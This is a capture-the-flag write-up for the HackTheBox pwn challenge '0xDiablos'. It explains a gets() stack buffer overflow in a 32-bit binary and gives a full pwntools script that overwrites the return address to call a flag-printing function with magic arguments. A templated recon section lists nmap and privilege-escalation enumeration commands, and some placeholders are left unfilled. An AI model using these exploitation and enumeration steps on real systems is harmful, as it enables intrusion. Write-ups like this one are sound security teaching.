← Back to Writeups
HTBN/APwn

0xDiablos

XESXOR8/23/20264 min read
#pwn#htb#n/a

0xDiablos

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: ret2func_with_args, return_address_overwrite, stack_buffer_overflow

Summary

Task: Exploit a 32-bit binary with gets() buffer overflow to call a flag-printing function with correct parameters. Solution: Overflow 188 bytes to overwrite EIP with the flag() function address, place magic values 0xdeadbeef and 0xc0ded00d on the stack as cdecl arguments after a fake return address.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260209_hackthebox_0xdiablos
  • Tags: buffer_overflow, gets, ret2win, x86_32, cdecl, parameter_passing
  • Indicators: gets() call, win function with parameter checks, No PIE, No canary, 32-bit ELF
  • Source: 20260209_hackthebox_0xdiablos.md

Foothold

Vulnerability / Misconfiguration

  1. Ret2func_with_args
  2. Return_address_overwrite
  3. Stack_buffer_overflow
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ret2func_with_args
  • return_address_overwrite
  • stack_buffer_overflow
  • Tags: buffer_overflow, gets, ret2win, x86_32, cdecl, parameter_passing

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A classic binary exploitation challenge where you are given a 32-bit ELF binary called "vuln" and a remote target to exploit. The binary has a buffer overflow vulnerability that must be exploited to call a hidden flag-printing function with the correct magic parameters.

Binary Analysis

File: ELF 32-bit, dynamically linked, not stripped

Security:

  • No PIE (base 0x8048000 — fixed addresses)
  • No stack canary
  • NX disabled (executable stack)
  • Partial RELRO
  • RWX segments present

Key functions (via objdump):

  • vuln() at 0x08049272 — contains gets() call (buffer overflow)
  • flag() at 0x080491e2 — reads and prints flag.txt, but requires correct parameters

Vulnerability

  1. vuln() allocates a buffer at ebp - 0xb8 (184 bytes)
  2. Calls gets() on this buffer — unbounded read, classic stack buffer overflow
  3. No stack canary to prevent overwrite

flag(param1, param2) function logic:

  1. Opens "flag.txt" with fopen()
  2. Reads contents with fgets() (64 bytes)
  3. Checks if param1 == 0xdeadbeef AND param2 == 0xc0ded00d
  4. Only if BOTH checks pass, calls printf() to print the flag
  5. If either check fails, returns silently without printing

Buffer overflow math:

  • Buffer size: 184 bytes (ebp - 0xb8)
  • Saved EBP: 4 bytes
  • Offset to EIP (return address): 184 + 4 = 188 bytes

Exploitation Strategy

  1. Overflow the buffer in vuln() to overwrite the saved return address (EIP)
  2. Redirect execution to flag() function
  3. Since this is a 32-bit binary using cdecl calling convention, function arguments are passed on the stack after the return address
  4. Place the two magic values (0xdeadbeef, 0xc0ded00d) at the correct stack positions

Payload layout (32-bit cdecl):

[188 bytes padding] [flag() addr] [fake return] [param1] [param2]
     'A' * 188      0x080491e2      'BBBB'     0xdeadbeef 0xc0ded00d

Total payload: 204 bytes

Solution

#!/usr/bin/env python3
from pwn import *

HOST = "154.57.164.82"
PORT = 30932

flag_addr = 0x080491e2
offset = 188

payload = b"A" * offset
payload += p32(flag_addr)       # overwrite EIP -> jump to flag()
payload += b"BBBB"              # fake return address (don't care)
payload += p32(0xdeadbeef)      # param1
payload += p32(0xc0ded00d)      # param2

r = remote(HOST, PORT)
r.recvuntil(b"You know who are 0xDiablos:")
r.sendline(payload)
response = r.recvall(timeout=5)
print(response)
r.close()

Lessons Learned

  • cdecl calling convention (32-bit): Arguments are pushed on the stack right-to-left. After overwriting EIP, the stack layout is: [return addr of flag()] [param1] [param2]
  • Difference from x86_64: In 64-bit, first 6 args go in registers (rdi, rsi, rdx...), requiring ROP gadgets like pop rdi; ret. In 32-bit, everything is on the stack — simpler exploitation
  • gets() is always a vulnerability — it reads until newline with no size limit, making buffer overflow trivial
  • Parameter checks in win functions are a common CTF pattern — always disassemble the flag function to check if it validates arguments before printing
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR